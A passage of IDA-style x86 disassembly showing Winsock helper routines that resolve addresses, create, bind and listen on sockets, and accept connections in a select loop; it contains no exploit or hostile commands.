eax, eax jz short loc_40454D xor eax, eax jmp short locret_404550 ; --------------------------------------------------------------------------- loc_40454D: ; CODE XREF: sub_4044F7+50j push 1 pop eax locret_404550: ; CODE XREF: sub_4044F7+2Ej ; sub_4044F7+54j leave retn sub_4044F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404552 proc near ; CODE XREF: sub_41331E+A6p ; sub_415F69+256p var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 88h mov [ebp+var_88], 80h lea eax, [ebp+var_88] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call ds:dword_417240 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_404582 xor eax, eax jmp short locret_4045B0 ; --------------------------------------------------------------------------- loc_404582: ; CODE XREF: sub_404552+2Aj lea eax, [ebp+var_80] mov [ebp+var_84], eax push 0Ah push [ebp+arg_4] mov eax, [ebp+var_84] mov ax, [eax+2] push eax call ds:dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 pop eax locret_4045B0: ; CODE XREF: sub_404552+2Ej leave retn sub_404552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4045B2 proc near ; CODE XREF: sub_4143B0+191p ; sub_415F69+20Ap var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 88h mov [ebp+var_88], 80h lea eax, [ebp+var_88] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call ds:dword_417210 ; getpeername cmp eax, 0FFFFFFFFh jnz short loc_4045E2 xor eax, eax jmp short locret_404610 ; --------------------------------------------------------------------------- loc_4045E2: ; CODE XREF: sub_4045B2+2Aj lea eax, [ebp+var_80] mov [ebp+var_84], eax push 0Ah push [ebp+arg_4] mov eax, [ebp+var_84] mov ax, [eax+2] push eax call ds:dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 pop eax locret_404610: ; CODE XREF: sub_4045B2+2Ej leave retn sub_4045B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404612 proc near ; CODE XREF: sub_40D871+69Cp var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 40Ch lea eax, [ebp+var_408] push eax push 0 push 0 push [ebp+arg_0] call ds:dword_41DF54 ; getaddrinfo test eax, eax jnz loc_4046B8 mov eax, [ebp+var_408] mov [ebp+var_40C], eax loc_404643: ; CODE XREF: sub_404612+98j cmp [ebp+var_40C], 0 jz short loc_4046AC push 2 push 0 push 0 push 401h lea eax, [ebp+var_404] push eax mov eax, [ebp+var_40C] push dword ptr [eax+10h] mov eax, [ebp+var_40C] push dword ptr [eax+18h] call ds:dword_41DF58 ; getnameinfo test eax, eax jnz short loc_40469B mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 2 jnz short loc_40469B lea eax, [ebp+var_404] push eax push [ebp+arg_4] call sub_416B3A ; _mbscpy pop ecx pop ecx mov al, 1 jmp short locret_4046BA ; --------------------------------------------------------------------------- loc_40469B: ; CODE XREF: sub_404612+66j ; sub_404612+72j mov eax, [ebp+var_40C] mov eax, [eax+1Ch] mov [ebp+var_40C], eax jmp short loc_404643 ; --------------------------------------------------------------------------- loc_4046AC: ; CODE XREF: sub_404612+38j push [ebp+var_408] call ds:dword_41DF5C ; freeaddrinfo loc_4046B8: ; CODE XREF: sub_404612+1Fj xor al, al locret_4046BA: ; CODE XREF: sub_404612+87j leave retn sub_404612 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4046BC proc near ; CODE XREF: sub_4020C2+124p ; sub_403DF3+36p ... var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 3Ch xor eax, eax test eax, eax jz short loc_4046D1 mov [ebp+var_3C], 2 jmp short loc_4046D8 ; --------------------------------------------------------------------------- loc_4046D1: ; CODE XREF: sub_4046BC+Aj mov [ebp+var_3C], 1 loc_4046D8: ; CODE XREF: sub_4046BC+13j mov eax, [ebp+var_3C] mov [ebp+var_8], eax push 1008h call sub_416B46 ; malloc pop ecx mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jnz short loc_4046F9 xor eax, eax jmp locret_40486F ; --------------------------------------------------------------------------- loc_4046F9: ; CODE XREF: sub_4046BC+34j mov eax, [ebp+var_2C] and dword ptr [eax], 0 mov eax, [ebp+var_2C] and dword ptr [eax+804h], 0 push 20h push 0 lea eax, [ebp+var_28] push eax call sub_416B6A ; memset add esp, 0Ch call sub_40432E neg eax sbb eax, eax and al, 0FEh inc eax inc eax mov [ebp+var_24], eax mov eax, [ebp+var_8] mov [ebp+var_20], eax mov [ebp+var_28], 5 lea eax, [ebp+var_30] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] push 0 call ds:dword_41DF54 ; getaddrinfo test eax, eax jz short loc_40475D push [ebp+var_2C] call sub_416B4C ; free pop ecx xor eax, eax jmp locret_40486F ; --------------------------------------------------------------------------- loc_40475D: ; CODE XREF: sub_4046BC+8Fj mov eax, [ebp+var_30] mov [ebp+var_4], eax jmp short loc_40476E ; --------------------------------------------------------------------------- loc_404765: ; CODE XREF: sub_4046BC+DDj ; sub_4046BC+F1j ... mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_40476E: ; CODE XREF: sub_4046BC+A7j cmp [ebp+var_4], 0 jz loc_40484E mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call ds:dword_417218 ; socket mov [ebp+var_34], eax cmp [ebp+var_34], 0FFFFFFFFh jnz short loc_40479B jmp short loc_404765 ; --------------------------------------------------------------------------- loc_40479B: ; CODE XREF: sub_4046BC+DBj mov eax, [ebp+var_4] cmp dword ptr [eax+4], 2 jz short loc_4047AF mov eax, [ebp+var_4] cmp dword ptr [eax+4], 17h jz short loc_4047AF jmp short loc_404765 ; --------------------------------------------------------------------------- loc_4047AF: ; CODE XREF: sub_4046BC+E6j ; sub_4046BC+EFj mov eax, [ebp+arg_4] and eax, 2 test eax, eax jz short loc_4047D6 mov [ebp+var_38], 1 push 4 lea eax, [ebp+var_38] push eax push 4 push 0FFFFh push [ebp+var_34] call ds:dword_417204 ; setsockopt loc_4047D6: ; CODE XREF: sub_4046BC+FBj mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_34] call ds:dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_4047FE push [ebp+var_34] call sub_4053B1 pop ecx jmp loc_404765 ; --------------------------------------------------------------------------- loc_4047FE: ; CODE XREF: sub_4046BC+132j cmp [ebp+var_8], 1 jnz short loc_404822 push 32h push [ebp+var_34] call ds:dword_417268 ; listen cmp eax, 0FFFFFFFFh jnz short loc_404822 push [ebp+var_34] call sub_4053B1 pop ecx jmp loc_404765 ; --------------------------------------------------------------------------- loc_404822: ; CODE XREF: sub_4046BC+146j ; sub_4046BC+156j mov eax, [ebp+var_2C] mov eax, [eax] mov ecx, [ebp+var_2C] mov edx, [ebp+var_34] mov [ecx+eax*4+4], edx mov eax, [ebp+var_2C] mov eax, [eax] inc eax mov ecx, [ebp+var_2C] mov [ecx], eax mov eax, [ebp+var_2C] cmp dword ptr [eax], 200h jnz short loc_404849 jmp short loc_40484E ; --------------------------------------------------------------------------- loc_404849: ; CODE XREF: sub_4046BC+189j jmp loc_404765 ; --------------------------------------------------------------------------- loc_40484E: ; CODE XREF: sub_4046BC+B6j ; sub_4046BC+18Bj push [ebp+var_30] call ds:dword_41DF5C ; freeaddrinfo mov eax, [ebp+var_2C] cmp dword ptr [eax], 0 jnz short loc_40486C push [ebp+var_2C] call sub_416B4C ; free pop ecx xor eax, eax jmp short locret_40486F ; --------------------------------------------------------------------------- loc_40486C: ; CODE XREF: sub_4046BC+1A1j mov eax, [ebp+var_2C] locret_40486F: ; CODE XREF: sub_4046BC+38j ; sub_4046BC+9Cj ... leave retn sub_4046BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404871 proc near ; CODE XREF: sub_411BBC+B0p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] push [ebp+arg_4] call sub_4046BC pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40488F xor eax, eax jmp short locret_4048ED ; --------------------------------------------------------------------------- loc_40488F: ; CODE XREF: sub_404871+18j mov eax, [ebp+var_4] mov eax, [eax] mov ecx, [ebp+arg_0] add eax, [ecx] cmp eax, 200h jbe short loc_4048AD push [ebp+var_4] call sub_404CBB pop ecx xor eax, eax jmp short locret_4048ED ; --------------------------------------------------------------------------- loc_4048AD: ; CODE XREF: sub_404871+2Dj mov eax, [ebp+var_4] mov eax, [eax] shl eax, 2 push eax mov eax, [ebp+var_4] add eax, 4 push eax mov eax, [ebp+arg_0] mov eax, [eax] mov ecx, [ebp+arg_0] lea eax, [ecx+eax*4+4] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax] mov ecx, [ebp+var_4] add eax, [ecx] mov ecx, [ebp+arg_0] mov [ecx], eax push [ebp+var_4] call sub_416B4C ; free pop ecx push 1 pop eax locret_4048ED: ; CODE XREF: sub_404871+1Cj ; sub_404871+3Aj leave retn sub_404871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4048EF proc near ; CODE XREF: sub_4020C2+22Ep ; sub_403DF3+8Dp ... var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = byte ptr -84h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0A8h push esi mov [ebp+var_4], 80h and [ebp+var_8C], 0 jmp short loc_404916 ; --------------------------------------------------------------------------- loc_404909: ; CODE XREF: sub_4048EF+133j ; sub_4048EF:loc_404A32j mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404916: ; CODE XREF: sub_4048EF+18j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404A37 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_416E30 ; __WSAFDIsSet test eax, eax jz loc_404A32 loc_40494A: ; CODE XREF: sub_4048EF+100j and [ebp+var_9C], 0 jmp short loc_404960 ; --------------------------------------------------------------------------- loc_404953: ; CODE XREF: sub_4048EF:loc_4049E6j mov eax, [ebp+var_9C] inc eax mov [ebp+var_9C], eax loc_404960: ; CODE XREF: sub_4048EF+62j mov eax, [ebp+arg_0] mov ecx, [ebp+var_9C] cmp ecx, [eax+804h] jnb short loc_4049EB mov eax, [ebp+var_9C] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_4049E6 loc_404990: ; CODE XREF: sub_4048EF+E0j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax cmp [ebp+var_9C], eax jnb short loc_4049D1 mov eax, [ebp+var_9C] mov ecx, [ebp+arg_0] mov edx, [ebp+var_9C] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+80Ch] mov [ecx+eax*4+808h], edx mov eax, [ebp+var_9C] inc eax mov [ebp+var_9C], eax jmp short loc_404990 ; --------------------------------------------------------------------------- loc_4049D1: ; CODE XREF: sub_4048EF+B1j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049E6: ; CODE XREF: sub_4048EF+9Fj jmp loc_404953 ; --------------------------------------------------------------------------- loc_4049EB: ; CODE XREF: sub_4048EF+80j ; sub_4048EF+F5j xor eax, eax test eax, eax jnz loc_40494A lea eax, [ebp+var_4] push eax lea eax, [ebp+var_84] push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call ds:dword_4171FC ; accept mov [ebp+var_98], eax cmp [ebp+var_98], 0FFFFFFFFh jnz short loc_404A27 jmp loc_404909 ; --------------------------------------------------------------------------- loc_404A27: ; CODE XREF: sub_4048EF+131j mov eax, [ebp+var_98] jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404A32: ; CODE XREF: sub_4048EF+55j jmp loc_404909 ; --------------------------------------------------------------------------- loc_404A37: ; CODE XREF: sub_4048EF+32j mov eax, [ebp+arg_0] and dword ptr [eax+804h], 0 and [ebp+var_8C], 0 jmp short loc_404A57 ; --------------------------------------------------------------------------- loc_404A4A: ; CODE XREF: sub_4048EF+21Dj mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404A57: ; CODE XREF: sub_4048EF+159j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404B11 loc_404A68: ; CODE XREF: sub_4048EF+217j and [ebp+var_A0], 0 jmp short loc_404A7E ; --------------------------------------------------------------------------- loc_404A71: ; CODE XREF: sub_4048EF:loc_404AB0j mov eax, [ebp+var_A0] inc eax mov [ebp+var_A0], eax loc_404A7E: ; CODE XREF: sub_4048EF+180j mov eax, [ebp+arg_0] mov ecx, [ebp+var_A0] cmp ecx, [eax+804h] jnb short loc_404AB2 mov eax, [ebp+var_A0] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_404AB0 jmp short loc_404AB2 ; --------------------------------------------------------------------------- loc_404AB0: ; CODE XREF: sub_4048EF+1BDj jmp short loc_404A71 ; --------------------------------------------------------------------------- loc_404AB2: ; CODE XREF: sub_4048EF+19Ej ; sub_4048EF+1BFj mov eax, [ebp+arg_0] mov ecx, [ebp+var_A0] cmp ecx, [eax+804h] jnz short loc_404B02 mov eax, [ebp+arg_0] cmp dword ptr [eax+804h], 200h jnb short loc_404B02 mov eax, [ebp+var_A0] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+4] mov [ecx+eax*4+808h], edx mov eax, [ebp+arg_0] mov eax, [eax+804h] inc eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax loc_404B02: ; CODE XREF: sub_4048EF+1D2j ; sub_4048EF+1E1j xor eax, eax test eax, eax jnz loc_404A68 jmp loc_404A4A ; --------------------------------------------------------------------------- loc_404B11: ; CODE XREF: sub_4048EF+173j mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx mov [ebp+var_94], eax mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx imul edx, 3E8h mov [ebp+var_90], edx lea eax, [ebp+var_94] push eax push 0 push 0 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+arg_0] push dword ptr [eax] call ds:dword_41722C ; select mov [ebp+var_88], eax cmp [ebp+var_88], 0 jnz short loc_404B71 or eax, 0FFFFFFFFh jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404B71: ; CODE XREF: sub_4048EF+278j cmp [ebp+var_88], 0FFFFFFFFh jnz short loc_404B81 xor eax, eax jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404B81: ; CODE XREF: sub_4048EF+289j and [ebp+var_8C], 0 jmp short loc_404B97 ; --------------------------------------------------------------------------- loc_404B8A: ; CODE XREF: sub_4048EF+3B4j ; sub_4048EF:loc_404CB0j mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404B97: ; CODE XREF: sub_4048EF+299j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404CB5 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_416E30 ; __WSAFDIsSet test eax, eax jz loc_404CB0 loc_404BCB: ; CODE XREF: sub_4048EF+381j and [ebp+var_A8], 0 jmp short loc_404BE1 ; --------------------------------------------------------------------------- loc_404BD4: ; CODE XREF: sub_4048EF:loc_404C67j mov eax, [ebp+var_A8] inc eax mov [ebp+var_A8], eax loc_404BE1: ; CODE XREF: sub_4048EF+2E3j mov eax, [ebp+arg_0] mov ecx, [ebp+var_A8] cmp ecx, [eax+804h] jnb short loc_404C6C mov eax, [ebp+var_A8] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_404C67 loc_404C11: ; CODE XREF: sub_4048EF+361j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax cmp [ebp+var_A8], eax jnb short loc_404C52 mov eax, [ebp+var_A8] mov ecx, [ebp+arg_0] mov edx, [ebp+var_A8] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+80Ch] mov [ecx+eax*4+808h], edx mov eax, [ebp+var_A8] inc eax mov [ebp+var_A8], eax jmp short loc_404C11 ; --------------------------------------------------------------------------- loc_404C52: ; CODE XREF: sub_4048EF+332j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax jmp short loc_404C6C ; --------------------------------------------------------------------------- loc_404C67: ; CODE XREF: sub_4048EF+320j jmp loc_404BD4 ; --------------------------------------------------------------------------- loc_404C6C: ; CODE XREF: sub_4048EF+301j ; sub_4048EF+376j xor eax, eax test eax, eax jnz loc_404BCB lea eax, [ebp+var_4] push eax lea eax, [ebp+var_84] push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call ds:dword_4171FC ; accept mov [ebp+var_A4], eax cmp [ebp+var_A4], 0FFFFFFFFh jnz short loc_404CA8 jmp loc_404B8A ; --------------------------------------------------------------------------- loc_404CA8: ; CODE XREF: sub_4048EF+3B2j mov eax, [ebp+var_A4] jmp short loc_404CB8 ; --------------------------------------------------------------------------- loc_404CB0: ; CODE XREF: sub_4048EF+2D6j jmp loc_404B8A ; --------------------------------------------------------------------------- loc_404CB5: ; CODE XREF: sub_4048EF+2B3j or eax, 0FFFFFFFFh loc_404CB8: ; CODE XREF: sub_4048EF+13Ej ; sub_4048EF+27Dj ... pop esi leave retn sub_4048EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404CBB proc near ; CODE XREF: sub_4020C2+175p ; sub_4020C2+25Fp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404CCC ; --------------------------------------------------------------------------- loc_404CC5: ; CODE XREF: sub_404CBB+3Ej mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404CCC: ; CODE XREF: sub_404CBB+8j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax] jnb short loc_404CFB cmp ds:dword_41DF08, 0 jz short loc_404CE9 mov eax, [ebp+arg_0] cmp dword ptr [eax], 64h jbe short loc_404CE9 jmp short loc_404CFB ; --------------------------------------------------------------------------- loc_404CE9: ; CODE XREF: sub_404CBB+22j ; sub_404CBB+2Aj mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_4053B1 pop ecx jmp short loc_404CC5 ; --------------------------------------------------------------------------- loc_404CFB: ; CODE XREF: sub_404CBB+19j ; sub_404CBB+2Cj mov eax, [ebp+arg_0] and dword ptr [eax+804h], 0 push [ebp+arg_0] call sub_416B4C ; free pop ecx leave retn sub_404CBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D10 proc near ; CODE XREF: sub_41349C+1B7p ; sub_4143B0+3Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 200h jbe short loc_404D21 xor eax, eax jmp short locret_404D4B ; --------------------------------------------------------------------------- loc_404D21: ; CODE XREF: sub_404D10+Bj push 1010h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_404D39 xor eax, eax jmp short locret_404D4B ; --------------------------------------------------------------------------- loc_404D39: ; CODE XREF: sub_404D10+23j mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax], ecx mov eax, [ebp+var_4] and dword ptr [eax+4], 0 mov eax, [ebp+var_4] locret_404D4B: ; CODE XREF: sub_404D10+Fj ; sub_404D10+27j leave retn sub_404D10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D4D proc near ; CODE XREF: sub_41349C+417p ; sub_4143B0+109p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] mov eax, [eax+4] cmp eax, [ecx] jnz short loc_404D6A push [ebp+arg_0] call sub_4053B1 pop ecx xor eax, eax jmp short loc_404D99 ; --------------------------------------------------------------------------- loc_404D6A: ; CODE XREF: sub_404D4D+Ej mov eax, [ebp+arg_4] mov eax, [eax+4] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov [ecx+eax*4+0Ch], edx mov eax, [ebp+arg_4] mov eax, [eax+4] inc eax mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] mov eax, [eax+4] xor edx, edx cmp eax, [ecx] setnz dl mov eax, edx loc_404D99: ; CODE XREF: sub_404D4D+1Bj pop ebp retn sub_404D4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D9B proc near ; CODE XREF: sub_41349C+512p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404DAC ; --------------------------------------------------------------------------- loc_404DA5: ; CODE XREF: sub_404D9B:loc_404E18j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404DAC: ; CODE XREF: sub_404D9B+8j mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short locret_404E1A mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4+0Ch] cmp eax, [ebp+arg_0] jnz short loc_404E18 mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] cmp ecx, [eax+8] jb short loc_404DDE mov eax, [ebp+arg_4] mov eax, [eax+8] dec eax mov ecx, [ebp+arg_4] mov [ecx+8], eax loc_404DDE: ; CODE XREF: sub_404D9B+34j mov eax, [ebp+arg_4] mov eax, [eax+4] sub eax, [ebp+var_4] shl eax, 2 push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax*4+10h] push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax*4+0Ch] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_4] mov eax, [eax+4] dec eax mov ecx, [ebp+arg_4] mov [ecx+4], eax jmp short locret_404E1A ; --------------------------------------------------------------------------- loc_404E18: ; CODE XREF: sub_404D9B+29j jmp short loc_404DA5 ; --------------------------------------------------------------------------- locret_404E1A: ; CODE XREF: sub_404D9B+1Aj ; sub_404D9B+7Bj leave retn sub_404D9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404E1C proc near ; CODE XREF: sub_41349C+45Fp ; sub_4143B0+14Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push esi mov eax, [ebp+arg_0] and dword ptr [eax+8], 0 mov eax, [ebp+arg_0] and dword ptr [eax+80Ch], 0 and [ebp+var_8], 0 jmp short loc_404E41 ; --------------------------------------------------------------------------- loc_404E3A: ; CODE XREF: sub_404E1C+BDj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_404E41: ; CODE XREF: sub_404E1C+1Cj mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+4] jnb loc_404EDE loc_404E50: ; CODE XREF: sub_404E1C+B7j and [ebp+var_14], 0 jmp short loc_404E5D ; --------------------------------------------------------------------------- loc_404E56: ; CODE XREF: sub_404E1C:loc_404E86j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_404E5D: ; CODE XREF: sub_404E1C+38j mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] cmp ecx, [eax+80Ch] jnb short loc_404E88 mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+810h] cmp eax, [esi+edx*4+0Ch] jnz short loc_404E86 jmp short loc_404E88 ; --------------------------------------------------------------------------- loc_404E86: ; CODE XREF: sub_404E1C+66j jmp short loc_404E56 ; --------------------------------------------------------------------------- loc_404E88: ; CODE XREF: sub_404E1C+4Dj ; sub_404E1C+68j mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] cmp ecx, [eax+80Ch] jnz short loc_404ECF mov eax, [ebp+arg_0] cmp dword ptr [eax+80Ch], 200h jnb short loc_404ECF mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+0Ch] mov [ecx+eax*4+810h], edx mov eax, [ebp+arg_0] mov eax, [eax+80Ch] inc eax mov ecx, [ebp+arg_0] mov [ecx+80Ch], eax loc_404ECF: ; CODE XREF: sub_404E1C+78j ; sub_404E1C+87j xor eax, eax test eax, eax jnz loc_404E50 jmp loc_404E3A ; --------------------------------------------------------------------------- loc_404EDE: ; CODE XREF: sub_404E1C+2Ej and [ebp+var_10], 0 mov [ebp+var_C], 3E8h lea eax, [ebp+var_10] push eax push 0 mov eax, [ebp+arg_0] add eax, 80Ch push eax push 0 push 0 call ds:dword_41722C ; select mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_404F1A cmp [ebp+var_4], 0FFFFFFFFh jz short loc_404F1A mov [ebp+var_18], 1 jmp short loc_404F1E ; --------------------------------------------------------------------------- loc_404F1A: ; CODE XREF: sub_404E1C+EDj ; sub_404E1C+F3j and [ebp+var_18], 0 loc_404F1E: ; CODE XREF: sub_404E1C+FCj mov eax, [ebp+var_18] pop esi leave retn sub_404E1C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F24 proc near ; CODE XREF: sub_41349C+470p ; sub_4143B0+16Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov eax, [eax+8] mov [ebp+var_4], eax jmp short loc_404F3A ; --------------------------------------------------------------------------- loc_404F33: ; CODE XREF: sub_404F24:loc_404F77j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404F3A: ; CODE XREF: sub_404F24+Dj mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short loc_404F79 mov eax, [ebp+arg_0] add eax, 80Ch push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+0Ch] call sub_416E30 ; __WSAFDIsSet test eax, eax jz short loc_404F77 mov eax, [ebp+var_4] inc eax mov ecx, [ebp+arg_0] mov [ecx+8], eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov eax, [ecx+eax*4+0Ch] jmp short locret_404F7B ; --------------------------------------------------------------------------- loc_404F77: ; CODE XREF: sub_404F24+3Bj jmp short loc_404F33 ; --------------------------------------------------------------------------- loc_404F79: ; CODE XREF: sub_404F24+1Fj xor eax, eax locret_404F7B: ; CODE XREF: sub_404F24+51j leave retn sub_404F24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F7D proc near ; CODE XREF: sub_404FD0+6p ; sub_41349C+59Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404F8E ; --------------------------------------------------------------------------- loc_404F87: ; CODE XREF: sub_404F7D+37j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404F8E: ; CODE XREF: sub_404F7D+8j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short loc_404FB6 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+0Ch] call sub_4053B1 pop ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] and dword ptr [ecx+eax*4+0Ch], 0 jmp short loc_404F87 ; --------------------------------------------------------------------------- loc_404FB6: ; CODE XREF: sub_404F7D+1Aj mov eax, [ebp+arg_0] and dword ptr 